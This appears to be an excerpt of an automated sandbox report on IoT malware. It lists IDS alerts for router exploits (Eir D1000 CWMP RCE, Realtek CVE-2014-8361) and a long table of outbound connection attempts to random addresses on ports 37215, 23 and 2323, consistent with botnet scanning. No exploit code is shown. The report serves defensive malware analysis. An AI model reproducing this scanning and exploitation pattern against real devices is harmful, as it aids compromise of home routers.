04/15/24-08:53:51.277112	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40868	7547	192.168.2.13	71.210.192.44
04/15/24-08:53:55.306531	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45892	7547	192.168.2.13	121.171.208.226
04/15/24-08:52:39.939683	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53884	7547	192.168.2.13	47.203.35.24
04/15/24-08:53:50.306511	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48014	7547	192.168.2.13	105.101.111.233
04/15/24-08:52:17.034765	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40394	7547	192.168.2.13	125.139.105.162
04/15/24-08:52:14.532755	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54212	52869	192.168.2.13	164.248.78.18
04/15/24-08:53:02.956978	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43410	80	192.168.2.13	45.32.202.138
04/15/24-08:53:46.575903	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37978	7547	192.168.2.13	177.97.77.112
04/15/24-08:52:52.409693	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42332	7547	192.168.2.13	84.75.73.72
04/15/24-08:53:22.674684	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37010	80	192.168.2.13	50.112.163.102
04/15/24-08:52:13.021893	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46946	7547	192.168.2.13	95.78.49.138

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 15, 2024 08:51:54.215578079 CEST	3566	37215	192.168.2.13	157.240.183.71
Apr 15, 2024 08:51:54.215595007 CEST	3566	37215	192.168.2.13	197.29.35.120
Apr 15, 2024 08:51:54.215614080 CEST	3566	37215	192.168.2.13	197.146.75.187
Apr 15, 2024 08:51:54.215615034 CEST	3566	37215	192.168.2.13	157.118.197.224
Apr 15, 2024 08:51:54.215631962 CEST	3566	37215	192.168.2.13	157.69.255.246
Apr 15, 2024 08:51:54.215651035 CEST	3566	37215	192.168.2.13	157.45.82.191
Apr 15, 2024 08:51:54.215651035 CEST	3566	37215	192.168.2.13	157.185.46.184
Apr 15, 2024 08:51:54.215673923 CEST	3566	37215	192.168.2.13	92.241.112.216
Apr 15, 2024 08:51:54.215678930 CEST	3566	37215	192.168.2.13	41.203.193.250
Apr 15, 2024 08:51:54.215688944 CEST	3566	37215	192.168.2.13	41.251.86.16
Apr 15, 2024 08:51:54.215709925 CEST	3566	37215	192.168.2.13	197.50.30.92
Apr 15, 2024 08:51:54.215727091 CEST	3566	37215	192.168.2.13	197.14.34.74
Apr 15, 2024 08:51:54.215727091 CEST	3566	37215	192.168.2.13	115.9.28.167
Apr 15, 2024 08:51:54.215734959 CEST	3566	37215	192.168.2.13	157.15.170.74
Apr 15, 2024 08:51:54.215742111 CEST	3566	37215	192.168.2.13	197.139.214.202
Apr 15, 2024 08:51:54.215764999 CEST	3566	37215	192.168.2.13	197.211.96.54
Apr 15, 2024 08:51:54.215765953 CEST	3566	37215	192.168.2.13	41.76.226.48
Apr 15, 2024 08:51:54.215765953 CEST	3566	37215	192.168.2.13	150.114.26.76
Apr 15, 2024 08:51:54.215773106 CEST	3566	37215	192.168.2.13	197.254.187.122
Apr 15, 2024 08:51:54.215779066 CEST	3566	37215	192.168.2.13	152.52.189.40
Apr 15, 2024 08:51:54.215795040 CEST	3566	37215	192.168.2.13	197.190.111.98
Apr 15, 2024 08:51:54.215806007 CEST	3566	37215	192.168.2.13	95.186.82.183
Apr 15, 2024 08:51:54.215815067 CEST	3566	37215	192.168.2.13	157.71.246.128
Apr 15, 2024 08:51:54.215827942 CEST	3566	37215	192.168.2.13	157.234.193.35
Apr 15, 2024 08:51:54.215827942 CEST	3566	37215	192.168.2.13	128.124.111.63
Apr 15, 2024 08:51:54.215859890 CEST	3566	37215	192.168.2.13	159.84.162.211
Apr 15, 2024 08:51:54.215864897 CEST	3566	37215	192.168.2.13	74.127.248.93
Apr 15, 2024 08:51:54.215868950 CEST	3566	37215	192.168.2.13	139.25.139.3
Apr 15, 2024 08:51:54.215879917 CEST	3566	37215	192.168.2.13	41.166.124.108
Apr 15, 2024 08:51:54.215879917 CEST	3566	37215	192.168.2.13	197.127.83.97
Apr 15, 2024 08:51:54.215904951 CEST	3566	37215	192.168.2.13	96.61.82.119
Apr 15, 2024 08:51:54.215909958 CEST	3566	37215	192.168.2.13	197.81.36.196
Apr 15, 2024 08:51:54.215913057 CEST	3566	37215	192.168.2.13	153.93.157.112
Apr 15, 2024 08:51:54.215918064 CEST	3566	37215	192.168.2.13	41.205.136.142
Apr 15, 2024 08:51:54.215934038 CEST	3566	37215	192.168.2.13	41.20.183.192
Apr 15, 2024 08:51:54.215944052 CEST	3566	37215	192.168.2.13	197.231.39.1
Apr 15, 2024 08:51:54.215958118 CEST	3566	37215	192.168.2.13	197.207.250.87
Apr 15, 2024 08:51:54.215965986 CEST	3566	37215	192.168.2.13	157.164.29.20
Apr 15, 2024 08:51:54.218616009 CEST	3566	37215	192.168.2.13	177.119.45.26
Apr 15, 2024 08:51:54.218626022 CEST	3566	37215	192.168.2.13	197.159.214.32
Apr 15, 2024 08:51:54.218641996 CEST	3566	37215	192.168.2.13	157.98.220.29
Apr 15, 2024 08:51:54.218651056 CEST	3566	37215	192.168.2.13	157.40.63.238
Apr 15, 2024 08:51:54.218651056 CEST	3566	37215	192.168.2.13	41.226.96.79
Apr 15, 2024 08:51:54.218663931 CEST	3566	37215	192.168.2.13	197.255.218.172
Apr 15, 2024 08:51:54.218684912 CEST	3566	37215	192.168.2.13	157.171.161.161
Apr 15, 2024 08:51:54.218686104 CEST	3566	37215	192.168.2.13	197.154.52.133
Apr 15, 2024 08:51:54.218688965 CEST	3566	37215	192.168.2.13	197.1.57.239
Apr 15, 2024 08:51:54.218705893 CEST	3566	37215	192.168.2.13	157.247.127.21
Apr 15, 2024 08:51:54.218707085 CEST	3566	37215	192.168.2.13	41.198.76.177
Apr 15, 2024 08:51:54.218732119 CEST	3566	37215	192.168.2.13	137.213.37.188
Apr 15, 2024 08:51:54.218755960 CEST	3566	37215	192.168.2.13	178.218.139.38
Apr 15, 2024 08:51:54.218774080 CEST	3566	37215	192.168.2.13	197.60.16.226
Apr 15, 2024 08:51:54.218776941 CEST	3566	37215	192.168.2.13	39.176.131.149
Apr 15, 2024 08:51:54.218811035 CEST	3566	37215	192.168.2.13	157.2.177.213
Apr 15, 2024 08:51:54.218815088 CEST	3566	37215	192.168.2.13	157.89.43.192
Apr 15, 2024 08:51:54.218836069 CEST	3566	37215	192.168.2.13	157.138.64.135
Apr 15, 2024 08:51:54.218857050 CEST	3566	37215	192.168.2.13	199.185.22.199
Apr 15, 2024 08:51:54.218871117 CEST	3566	37215	192.168.2.13	157.1.111.67
Apr 15, 2024 08:51:54.218884945 CEST	3566	37215	192.168.2.13	157.111.147.162
Apr 15, 2024 08:51:54.218888044 CEST	3566	37215	192.168.2.13	41.122.87.250
Apr 15, 2024 08:51:54.218903065 CEST	3566	37215	192.168.2.13	197.227.244.178
Apr 15, 2024 08:51:54.218921900 CEST	3566	37215	192.168.2.13	197.216.14.82
Apr 15, 2024 08:51:54.218941927 CEST	3566	37215	192.168.2.13	41.41.187.7
Apr 15, 2024 08:51:54.218950987 CEST	3566	37215	192.168.2.13	157.115.135.107
Apr 15, 2024 08:51:54.218961954 CEST	3566	37215	192.168.2.13	197.206.62.32
Apr 15, 2024 08:51:54.218972921 CEST	3566	37215	192.168.2.13	41.4.63.224
Apr 15, 2024 08:51:54.218978882 CEST	3566	37215	192.168.2.13	157.76.49.193
Apr 15, 2024 08:51:54.218992949 CEST	3566	37215	192.168.2.13	157.156.41.20
Apr 15, 2024 08:51:54.219001055 CEST	3566	37215	192.168.2.13	162.42.125.173
Apr 15, 2024 08:51:54.219023943 CEST	3566	37215	192.168.2.13	157.99.52.105
Apr 15, 2024 08:51:54.219046116 CEST	3566	37215	192.168.2.13	157.70.138.13
Apr 15, 2024 08:51:54.219046116 CEST	3566	37215	192.168.2.13	41.117.210.3
Apr 15, 2024 08:51:54.219057083 CEST	3566	37215	192.168.2.13	157.174.219.50
Apr 15, 2024 08:51:54.219063044 CEST	3566	37215	192.168.2.13	31.96.245.70
Apr 15, 2024 08:51:54.219093084 CEST	3566	37215	192.168.2.13	197.124.133.79
Apr 15, 2024 08:51:54.219104052 CEST	3566	37215	192.168.2.13	41.228.250.70
Apr 15, 2024 08:51:54.219109058 CEST	3566	37215	192.168.2.13	197.220.253.207
Apr 15, 2024 08:51:54.219130039 CEST	3566	37215	192.168.2.13	157.78.9.156
Apr 15, 2024 08:51:54.219142914 CEST	3566	37215	192.168.2.13	203.75.56.138
Apr 15, 2024 08:51:54.219142914 CEST	3566	37215	192.168.2.13	157.197.18.110
Apr 15, 2024 08:51:54.219158888 CEST	3566	37215	192.168.2.13	157.89.223.199
Apr 15, 2024 08:51:54.219166040 CEST	3566	37215	192.168.2.13	197.182.14.80
Apr 15, 2024 08:51:54.219177961 CEST	3566	37215	192.168.2.13	157.251.21.123
Apr 15, 2024 08:51:54.219196081 CEST	3566	37215	192.168.2.13	18.179.145.194
Apr 15, 2024 08:51:54.219202995 CEST	3566	37215	192.168.2.13	41.206.83.186
Apr 15, 2024 08:51:54.219235897 CEST	3566	37215	192.168.2.13	197.162.172.105
Apr 15, 2024 08:51:54.219235897 CEST	3566	37215	192.168.2.13	197.231.159.213
Apr 15, 2024 08:51:54.219252110 CEST	3566	37215	192.168.2.13	157.26.156.235
Apr 15, 2024 08:51:54.219264984 CEST	3566	37215	192.168.2.13	157.220.208.130
Apr 15, 2024 08:51:54.219285965 CEST	3566	37215	192.168.2.13	41.139.43.224
Apr 15, 2024 08:51:54.219285965 CEST	3566	37215	192.168.2.13	171.210.164.237
Apr 15, 2024 08:51:54.219306946 CEST	3566	37215	192.168.2.13	157.189.199.189
Apr 15, 2024 08:51:54.219310045 CEST	3566	37215	192.168.2.13	197.92.78.233
Apr 15, 2024 08:51:54.219310045 CEST	3566	37215	192.168.2.13	157.114.118.145
Apr 15, 2024 08:51:54.219331980 CEST	3566	37215	192.168.2.13	197.47.23.189
Apr 15, 2024 08:51:54.219331980 CEST	3566	37215	192.168.2.13	157.109.117.153
Apr 15, 2024 08:51:54.219332933 CEST	3566	37215	192.168.2.13	156.248.227.157
Apr 15, 2024 08:51:54.219345093 CEST	3566	37215	192.168.2.13	151.80.229.15
Apr 15, 2024 08:51:54.219353914 CEST	3566	37215	192.168.2.13	197.56.61.158
Apr 15, 2024 08:51:54.219369888 CEST	3566	37215	192.168.2.13	197.160.93.216
Apr 15, 2024 08:51:54.219372034 CEST	3566	37215	192.168.2.13	197.128.20.97
Apr 15, 2024 08:51:54.219391108 CEST	3566	37215	192.168.2.13	157.137.22.178
Apr 15, 2024 08:51:54.219403028 CEST	3566	37215	192.168.2.13	41.17.224.28
Apr 15, 2024 08:51:54.219425917 CEST	3566	37215	192.168.2.13	203.192.144.16
Apr 15, 2024 08:51:54.219425917 CEST	3566	37215	192.168.2.13	41.235.56.57
Apr 15, 2024 08:51:54.219438076 CEST	3566	37215	192.168.2.13	157.88.212.224
Apr 15, 2024 08:51:54.219453096 CEST	3566	37215	192.168.2.13	41.188.92.214
Apr 15, 2024 08:51:54.219470024 CEST	3566	37215	192.168.2.13	197.214.141.109
Apr 15, 2024 08:51:54.219486952 CEST	3566	37215	192.168.2.13	197.169.33.201
Apr 15, 2024 08:51:54.219504118 CEST	3566	37215	192.168.2.13	197.211.195.218
Apr 15, 2024 08:51:54.219508886 CEST	3566	37215	192.168.2.13	41.228.190.24
Apr 15, 2024 08:51:54.219511032 CEST	3566	37215	192.168.2.13	197.82.0.244
Apr 15, 2024 08:51:54.219525099 CEST	3566	37215	192.168.2.13	157.91.237.243
Apr 15, 2024 08:51:54.219527006 CEST	3566	37215	192.168.2.13	208.19.52.88
Apr 15, 2024 08:51:54.219551086 CEST	3566	37215	192.168.2.13	41.56.26.207
Apr 15, 2024 08:51:54.219556093 CEST	3566	37215	192.168.2.13	157.63.135.165
Apr 15, 2024 08:51:54.219574928 CEST	3566	37215	192.168.2.13	197.48.60.215
Apr 15, 2024 08:51:54.219593048 CEST	3566	37215	192.168.2.13	133.131.255.180
Apr 15, 2024 08:51:54.219615936 CEST	3566	37215	192.168.2.13	103.112.115.113
Apr 15, 2024 08:51:54.219624043 CEST	3566	37215	192.168.2.13	41.206.144.120
Apr 15, 2024 08:51:54.219646931 CEST	3566	37215	192.168.2.13	157.170.154.22
Apr 15, 2024 08:51:54.219798088 CEST	3566	37215	192.168.2.13	41.255.201.139
Apr 15, 2024 08:51:54.219825983 CEST	3566	37215	192.168.2.13	157.149.45.184
Apr 15, 2024 08:51:54.219826937 CEST	3566	37215	192.168.2.13	197.63.73.127
Apr 15, 2024 08:51:54.219829082 CEST	3566	37215	192.168.2.13	197.95.60.2
Apr 15, 2024 08:51:54.219846010 CEST	3566	37215	192.168.2.13	41.76.201.181
Apr 15, 2024 08:51:54.219850063 CEST	3566	37215	192.168.2.13	157.35.150.145
Apr 15, 2024 08:51:54.219867945 CEST	3566	37215	192.168.2.13	41.188.114.80
Apr 15, 2024 08:51:54.219877005 CEST	3566	37215	192.168.2.13	41.224.102.175
Apr 15, 2024 08:51:54.219888926 CEST	3566	37215	192.168.2.13	157.129.196.82
Apr 15, 2024 08:51:54.219896078 CEST	3566	37215	192.168.2.13	41.191.146.209
Apr 15, 2024 08:51:54.219911098 CEST	3566	37215	192.168.2.13	142.77.37.22
Apr 15, 2024 08:51:54.219929934 CEST	3566	37215	192.168.2.13	197.185.81.23
Apr 15, 2024 08:51:54.219930887 CEST	3566	37215	192.168.2.13	193.69.89.128
Apr 15, 2024 08:51:54.219940901 CEST	3566	37215	192.168.2.13	78.158.108.251
Apr 15, 2024 08:51:54.219948053 CEST	3566	37215	192.168.2.13	197.250.130.99
Apr 15, 2024 08:51:54.219957113 CEST	3566	37215	192.168.2.13	197.33.248.193
Apr 15, 2024 08:51:54.219973087 CEST	3566	37215	192.168.2.13	197.207.147.145
Apr 15, 2024 08:51:54.219978094 CEST	3566	37215	192.168.2.13	197.17.18.240
Apr 15, 2024 08:51:54.220057964 CEST	3566	37215	192.168.2.13	197.192.145.8
Apr 15, 2024 08:51:54.220062971 CEST	3566	37215	192.168.2.13	112.70.75.3
Apr 15, 2024 08:51:54.220098019 CEST	3566	37215	192.168.2.13	197.109.25.29
Apr 15, 2024 08:51:54.220099926 CEST	3566	37215	192.168.2.13	197.69.111.62
Apr 15, 2024 08:51:54.220113993 CEST	3566	37215	192.168.2.13	157.99.30.28
Apr 15, 2024 08:51:54.220113993 CEST	3566	37215	192.168.2.13	157.38.172.255
Apr 15, 2024 08:51:54.220134974 CEST	3566	37215	192.168.2.13	41.52.9.11
Apr 15, 2024 08:51:54.220144033 CEST	3566	37215	192.168.2.13	197.182.131.32
Apr 15, 2024 08:51:54.220171928 CEST	3566	37215	192.168.2.13	193.59.0.248
Apr 15, 2024 08:51:54.220189095 CEST	3566	37215	192.168.2.13	219.18.245.87
Apr 15, 2024 08:51:54.220207930 CEST	3566	37215	192.168.2.13	153.183.160.65
Apr 15, 2024 08:51:54.220208883 CEST	3566	37215	192.168.2.13	157.37.166.167
Apr 15, 2024 08:51:54.220213890 CEST	3566	37215	192.168.2.13	140.81.126.103
Apr 15, 2024 08:51:54.220240116 CEST	3566	37215	192.168.2.13	9.29.89.87
Apr 15, 2024 08:51:54.220242023 CEST	3566	37215	192.168.2.13	41.184.146.209
Apr 15, 2024 08:51:54.220259905 CEST	3566	37215	192.168.2.13	37.87.54.80
Apr 15, 2024 08:51:54.220283985 CEST	3566	37215	192.168.2.13	41.100.108.89
Apr 15, 2024 08:51:54.220284939 CEST	3566	37215	192.168.2.13	41.252.134.227
Apr 15, 2024 08:51:54.220288992 CEST	3566	37215	192.168.2.13	41.191.200.15
Apr 15, 2024 08:51:54.220304966 CEST	3566	37215	192.168.2.13	41.186.114.29
Apr 15, 2024 08:51:54.220316887 CEST	3566	37215	192.168.2.13	1.107.136.82
Apr 15, 2024 08:51:54.220320940 CEST	3566	37215	192.168.2.13	197.43.12.116
Apr 15, 2024 08:51:54.220335960 CEST	3566	37215	192.168.2.13	41.136.193.119
Apr 15, 2024 08:51:54.220341921 CEST	3566	37215	192.168.2.13	95.237.1.229
Apr 15, 2024 08:51:54.220341921 CEST	3566	37215	192.168.2.13	197.206.245.9
Apr 15, 2024 08:51:54.220984936 CEST	3566	37215	192.168.2.13	62.73.248.194
Apr 15, 2024 08:51:54.220997095 CEST	3566	37215	192.168.2.13	197.155.176.230
Apr 15, 2024 08:51:54.221004963 CEST	3566	37215	192.168.2.13	41.39.122.189
Apr 15, 2024 08:51:54.221024990 CEST	3566	37215	192.168.2.13	197.246.122.15
Apr 15, 2024 08:51:54.221035957 CEST	3566	37215	192.168.2.13	197.108.160.80
Apr 15, 2024 08:51:54.221049070 CEST	3566	37215	192.168.2.13	157.161.178.234
Apr 15, 2024 08:51:54.221065998 CEST	3566	37215	192.168.2.13	157.74.81.237
Apr 15, 2024 08:51:54.221077919 CEST	3566	37215	192.168.2.13	197.74.154.191
Apr 15, 2024 08:51:54.221080065 CEST	3566	37215	192.168.2.13	41.192.177.70
Apr 15, 2024 08:51:54.221093893 CEST	3566	37215	192.168.2.13	219.224.131.107
Apr 15, 2024 08:51:54.221121073 CEST	3566	37215	192.168.2.13	41.82.245.107
Apr 15, 2024 08:51:54.221129894 CEST	3566	37215	192.168.2.13	49.120.232.40
Apr 15, 2024 08:51:54.221131086 CEST	3566	37215	192.168.2.13	197.32.72.55
Apr 15, 2024 08:51:54.221191883 CEST	3566	37215	192.168.2.13	157.129.200.143
Apr 15, 2024 08:51:54.221193075 CEST	3566	37215	192.168.2.13	197.253.248.160
Apr 15, 2024 08:51:54.221218109 CEST	3566	37215	192.168.2.13	40.90.10.37
Apr 15, 2024 08:51:54.221225023 CEST	3566	37215	192.168.2.13	157.40.158.186
Apr 15, 2024 08:51:54.221232891 CEST	3566	37215	192.168.2.13	197.193.131.192
Apr 15, 2024 08:51:54.221271992 CEST	3566	37215	192.168.2.13	41.234.234.8
Apr 15, 2024 08:51:54.221275091 CEST	3566	37215	192.168.2.13	157.16.60.183
Apr 15, 2024 08:51:54.221276045 CEST	3566	37215	192.168.2.13	197.206.137.233
Apr 15, 2024 08:51:54.221278906 CEST	3566	37215	192.168.2.13	157.126.218.243
Apr 15, 2024 08:51:54.221278906 CEST	3566	37215	192.168.2.13	197.50.199.190
Apr 15, 2024 08:51:54.221292973 CEST	3566	37215	192.168.2.13	197.149.231.207
Apr 15, 2024 08:51:54.221307039 CEST	3566	37215	192.168.2.13	197.21.192.157
Apr 15, 2024 08:51:54.221311092 CEST	3566	37215	192.168.2.13	24.217.223.52
Apr 15, 2024 08:51:54.221333981 CEST	3566	37215	192.168.2.13	157.184.53.217
Apr 15, 2024 08:51:54.221349955 CEST	3566	37215	192.168.2.13	41.224.127.31
Apr 15, 2024 08:51:54.221349955 CEST	3566	37215	192.168.2.13	197.43.208.164
Apr 15, 2024 08:51:54.221394062 CEST	3566	37215	192.168.2.13	41.36.183.126
Apr 15, 2024 08:51:54.221404076 CEST	3566	37215	192.168.2.13	9.88.121.246
Apr 15, 2024 08:51:54.221419096 CEST	3566	37215	192.168.2.13	157.40.119.78
Apr 15, 2024 08:51:54.221434116 CEST	3566	37215	192.168.2.13	157.135.75.64
Apr 15, 2024 08:51:54.221437931 CEST	3566	37215	192.168.2.13	41.111.224.10
Apr 15, 2024 08:51:54.221450090 CEST	3566	37215	192.168.2.13	157.66.252.82
Apr 15, 2024 08:51:54.221462965 CEST	3566	37215	192.168.2.13	157.253.26.147
Apr 15, 2024 08:51:54.221484900 CEST	3566	37215	192.168.2.13	197.206.131.212
Apr 15, 2024 08:51:54.221491098 CEST	3566	37215	192.168.2.13	143.78.39.140
Apr 15, 2024 08:51:54.221498966 CEST	3566	37215	192.168.2.13	41.175.81.169
Apr 15, 2024 08:51:54.221510887 CEST	3566	37215	192.168.2.13	197.248.24.143
Apr 15, 2024 08:51:54.221520901 CEST	3566	37215	192.168.2.13	41.190.125.244
Apr 15, 2024 08:51:54.221530914 CEST	3566	37215	192.168.2.13	128.133.18.105
Apr 15, 2024 08:51:54.221534967 CEST	3566	37215	192.168.2.13	41.18.46.158
Apr 15, 2024 08:51:54.221545935 CEST	3566	37215	192.168.2.13	218.16.123.125
Apr 15, 2024 08:51:54.221564054 CEST	3566	37215	192.168.2.13	41.86.217.160
Apr 15, 2024 08:51:54.221584082 CEST	3566	37215	192.168.2.13	157.144.14.167
Apr 15, 2024 08:51:54.221601963 CEST	3566	37215	192.168.2.13	41.236.226.100
Apr 15, 2024 08:51:54.221620083 CEST	3566	37215	192.168.2.13	157.143.134.172
Apr 15, 2024 08:51:54.221621990 CEST	3566	37215	192.168.2.13	41.202.220.215
Apr 15, 2024 08:51:54.221637964 CEST	3566	37215	192.168.2.13	197.77.161.49
Apr 15, 2024 08:51:54.221637964 CEST	3566	37215	192.168.2.13	197.105.24.113
Apr 15, 2024 08:51:54.221649885 CEST	3566	37215	192.168.2.13	35.143.42.1
Apr 15, 2024 08:51:54.221666098 CEST	3566	37215	192.168.2.13	213.99.214.237
Apr 15, 2024 08:51:54.221682072 CEST	3566	37215	192.168.2.13	157.230.61.252
Apr 15, 2024 08:51:54.221685886 CEST	3566	37215	192.168.2.13	157.199.107.33
Apr 15, 2024 08:51:54.221692085 CEST	3566	37215	192.168.2.13	157.50.46.212
Apr 15, 2024 08:51:54.221712112 CEST	3566	37215	192.168.2.13	143.73.117.73
Apr 15, 2024 08:51:54.221775055 CEST	3566	37215	192.168.2.13	157.46.7.18
Apr 15, 2024 08:51:54.221785069 CEST	3566	37215	192.168.2.13	185.171.148.186
Apr 15, 2024 08:51:54.221816063 CEST	3566	37215	192.168.2.13	157.182.244.187
Apr 15, 2024 08:51:54.221827030 CEST	3566	37215	192.168.2.13	197.103.169.14
Apr 15, 2024 08:51:54.221836090 CEST	3566	37215	192.168.2.13	157.124.193.19
Apr 15, 2024 08:51:54.221843958 CEST	3566	37215	192.168.2.13	41.227.77.223
Apr 15, 2024 08:51:54.221870899 CEST	3566	37215	192.168.2.13	138.80.9.138
Apr 15, 2024 08:51:54.221900940 CEST	3566	37215	192.168.2.13	41.95.75.142
Apr 15, 2024 08:51:54.221901894 CEST	3566	37215	192.168.2.13	197.44.162.218
Apr 15, 2024 08:51:54.221904039 CEST	3566	37215	192.168.2.13	197.182.50.221
Apr 15, 2024 08:51:54.221908092 CEST	3566	37215	192.168.2.13	41.40.215.118
Apr 15, 2024 08:51:54.221920967 CEST	3566	37215	192.168.2.13	85.210.5.52
Apr 15, 2024 08:51:54.221927881 CEST	3566	37215	192.168.2.13	157.82.90.238
Apr 15, 2024 08:51:54.221940994 CEST	3566	37215	192.168.2.13	49.48.79.174
Apr 15, 2024 08:51:54.221956968 CEST	3566	37215	192.168.2.13	41.103.77.21
Apr 15, 2024 08:51:54.221995115 CEST	3566	37215	192.168.2.13	157.181.95.217
Apr 15, 2024 08:51:54.221999884 CEST	3566	37215	192.168.2.13	197.128.123.137
Apr 15, 2024 08:51:54.222040892 CEST	3566	37215	192.168.2.13	128.87.139.144
Apr 15, 2024 08:51:54.222042084 CEST	3566	37215	192.168.2.13	212.254.188.15
Apr 15, 2024 08:51:54.222052097 CEST	3566	37215	192.168.2.13	110.185.197.39
Apr 15, 2024 08:51:54.222064972 CEST	3566	37215	192.168.2.13	216.65.231.53
Apr 15, 2024 08:51:54.222076893 CEST	3566	37215	192.168.2.13	41.215.46.65
Apr 15, 2024 08:51:54.222089052 CEST	3566	37215	192.168.2.13	157.241.108.35
Apr 15, 2024 08:51:54.222095966 CEST	3566	37215	192.168.2.13	101.229.185.4
Apr 15, 2024 08:51:54.222110033 CEST	3566	37215	192.168.2.13	41.80.24.184
Apr 15, 2024 08:51:54.222130060 CEST	3566	37215	192.168.2.13	157.21.148.130
Apr 15, 2024 08:51:54.222136021 CEST	3566	37215	192.168.2.13	197.169.57.246
Apr 15, 2024 08:51:54.222157001 CEST	3566	37215	192.168.2.13	157.71.210.140
Apr 15, 2024 08:51:54.222161055 CEST	3566	37215	192.168.2.13	206.136.199.96
Apr 15, 2024 08:51:54.222170115 CEST	3566	37215	192.168.2.13	157.166.15.217
Apr 15, 2024 08:51:54.222182035 CEST	3566	37215	192.168.2.13	157.49.224.9
Apr 15, 2024 08:51:54.222213984 CEST	3566	37215	192.168.2.13	157.157.70.213
Apr 15, 2024 08:51:54.222224951 CEST	3566	37215	192.168.2.13	197.57.187.178
Apr 15, 2024 08:51:54.222255945 CEST	3566	37215	192.168.2.13	41.38.252.243
Apr 15, 2024 08:51:54.222259045 CEST	3566	37215	192.168.2.13	197.151.36.80
Apr 15, 2024 08:51:54.225800037 CEST	4590	2323	192.168.2.13	102.16.183.71
Apr 15, 2024 08:51:54.225807905 CEST	4590	23	192.168.2.13	136.112.55.71
Apr 15, 2024 08:51:54.225812912 CEST	4590	23	192.168.2.13	167.250.35.127
Apr 15, 2024 08:51:54.225821018 CEST	4590	23	192.168.2.13	5.178.84.135
Apr 15, 2024 08:51:54.225821018 CEST	4590	23	192.168.2.13	59.168.218.66
Apr 15, 2024 08:51:54.225833893 CEST	4590	23	192.168.2.13	18.18.207.182
Apr 15, 2024 08:51:54.225846052 CEST	4590	23	192.168.2.13	53.147.171.33
Apr 15, 2024 08:51:54.225853920 CEST	4590	23	192.168.2.13	25.41.84.141
Apr 15, 2024 08:51:54.225858927 CEST	4590	23	192.168.2.13	58.219.157.185
Apr 15, 2024 08:51:54.225858927 CEST	4590	23	192.168.2.13	221.113.191.30
Apr 15, 2024 08:51:54.225866079 CEST	4590	23	192.168.2.13	65.67.55.255
Apr 15, 2024 08:51:54.225866079 CEST	4590	2323	192.168.2.13	201.227.37.174
Apr 15, 2024 08:51:54.225866079 CEST	4590	23	192.168.2.13	190.3.225.211
Apr 15, 2024 08:51:54.225866079 CEST	4590	23	192.168.2.13	124.130.174.159
Apr 15, 2024 08:51:54.225868940 CEST	4590	23	192.168.2.13	203.38.19.5
Apr 15, 2024 08:51:54.225873947 CEST	4590	23	192.168.2.13	149.235.90.19
Apr 15, 2024 08:51:54.225878000 CEST	4590	23	192.168.2.13	38.199.97.58
Apr 15, 2024 08:51:54.225891113 CEST	4590	23	192.168.2.13	193.26.156.180
Apr 15, 2024 08:51:54.225894928 CEST	4590	23	192.168.2.13	106.46.34.51
Apr 15, 2024 08:51:54.225903988 CEST	4590	23	192.168.2.13	70.8.153.14
Apr 15, 2024 08:51:54.225909948 CEST	4590	2323	192.168.2.13	119.124.221.95
Apr 15, 2024 08:51:54.225912094 CEST	4590	23	192.168.2.13	184.185.249.249
Apr 15, 2024 08:51:54.225912094 CEST	4590	23	192.168.2.13	217.230.52.66
Apr 15, 2024 08:51:54.225928068 CEST	4590	23	192.168.2.13	13.40.36.107
Apr 15, 2024 08:51:54.225929022 CEST	4590	23	192.168.2.13	120.69.110.136
Apr 15, 2024 08:51:54.225946903 CEST	4590	23	192.168.2.13	182.21.105.190
Apr 15, 2024 08:51:54.225956917 CEST	4590	23	192.168.2.13	48.237.88.98
Apr 15, 2024 08:51:54.225971937 CEST	4590	23	192.168.2.13	85.241.191.93
Apr 15, 2024 08:51:54.225975037 CEST	4590	23	192.168.2.13	116.60.79.56
Apr 15, 2024 08:51:54.225982904 CEST	4590	2323	192.168.2.13	12.37.198.63
Apr 15, 2024 08:51:54.225994110 CEST	4590	23	192.168.2.13	119.232.175.251
Apr 15, 2024 08:51:54.226002932 CEST	4590	23	192.168.2.13	108.207.220.226
Apr 15, 2024 08:51:54.226007938 CEST	4590	23	192.168.2.13	121.45.36.202
Apr 15, 2024 08:51:54.226007938 CEST	4590	23	192.168.2.13	89.30.155.89
Apr 15, 2024 08:51:54.226021051 CEST	4590	23	192.168.2.13	142.188.121.193
Apr 15, 2024 08:51:54.226028919 CEST	4590	23	192.168.2.13	20.26.210.16
Apr 15, 2024 08:51:54.226063967 CEST	4590	23	192.168.2.13	110.77.203.47
Apr 15, 2024 08:51:54.226075888 CEST	4590	23	192.168.2.13	169.121.20.82
Apr 15, 2024 08:51:54.226075888 CEST	4590	23	192.168.2.13	94.196.206.33
Apr 15, 2024 08:51:54.226095915 CEST	4590	23	192.168.2.13	202.149.227.219
Apr 15, 2024 08:51:54.226098061 CEST	4590	23	192.168.2.13	101.31.206.180
Apr 15, 2024 08:51:54.226102114 CEST	4590	23	192.168.2.13	66.152.40.82
Apr 15, 2024 08:51:54.226111889 CEST	4590	23	192.168.2.13	20.244.152.30
Apr 15, 2024 08:51:54.226119041 CEST	4590	23	192.168.2.13	151.237.143.156
Apr 15, 2024 08:51:54.226120949 CEST	4590	23	192.168.2.13	13.12.15.15
Apr 15, 2024 08:51:54.226154089 CEST	4590	2323	192.168.2.13	99.114.124.109
Apr 15, 2024 08:51:54.226157904 CEST	4590	23	192.168.2.13	8.61.154.250
Apr 15, 2024 08:51:54.226166964 CEST	4590	23	192.168.2.13	184.226.29.40
Apr 15, 2024 08:51:54.226171017 CEST	4590	23	192.168.2.13	71.14.48.190
Apr 15, 2024 08:51:54.226177931 CEST	4590	2323	192.168.2.13	156.49.167.164
Apr 15, 2024 08:51:54.226180077 CEST	4590	23	192.168.2.13	76.139.172.247
